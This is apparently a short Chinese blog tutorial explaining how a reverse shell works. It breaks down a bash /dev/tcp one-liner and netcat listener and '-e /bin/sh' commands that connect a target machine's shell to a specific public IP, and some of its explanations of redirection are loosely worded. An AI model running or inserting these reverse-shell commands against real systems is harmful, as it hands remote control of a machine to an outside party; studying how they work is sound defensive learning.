反弹shell原理讲解

 

bash -i >& /dev/tcp/49.232.106.183/8080 0>&1

首先,bash -i是打开一个交互的bash,这个最简单。我们先跳过“>&”和“0>&1”,这两个是本文重点,等会再说。先来说“/dev/tcp/”。

 /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。

基础知识:

Linux文件描述符和重定向的含义如下。

linux shell下常用的文件描述符是:

1.  标准输入   (stdin) :代码为 0 ,使用 < 或 << ; 

2.  标准输出   (stdout):代码为 1 ,使用 > 或 >> ; 

3.  标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>。

&不是and的意思,&是取地址符。

下面说一下“>&”究竟是什么意思。它和“2>&1”是一个意思,都是将标准错误输出合并到标准输出中。通过测试可知“>&”和“&>”是一样的意思,都是将标准错误输出定向到标准输出中。

接下来是“0>&1”的含义。“0>&1”和“0<&1”是一个意思,都是将标准输入重定向到标准输出中。

而最上面命令的意思是:在目标机器上创建一个可交互的bash并且到49.232.106.183:8080(我们自己的具有公网ip的机器)的TCP链接,然后将bash的输入输出错误都重定向到在49.232.106.183:8080监听的进程。

 

使用nc反弹shell命令:

在本机:netcat -lvvp 6987

在靶机:nc 49.232.106.183 6987 -e /bin/sh

然后在本机输入命令即可

 

文章参考:https://www.anquanke.com/post/id/85712

posted @ 2022-08-10 22:11  hithub  阅读(125)  评论(0)    收藏  举报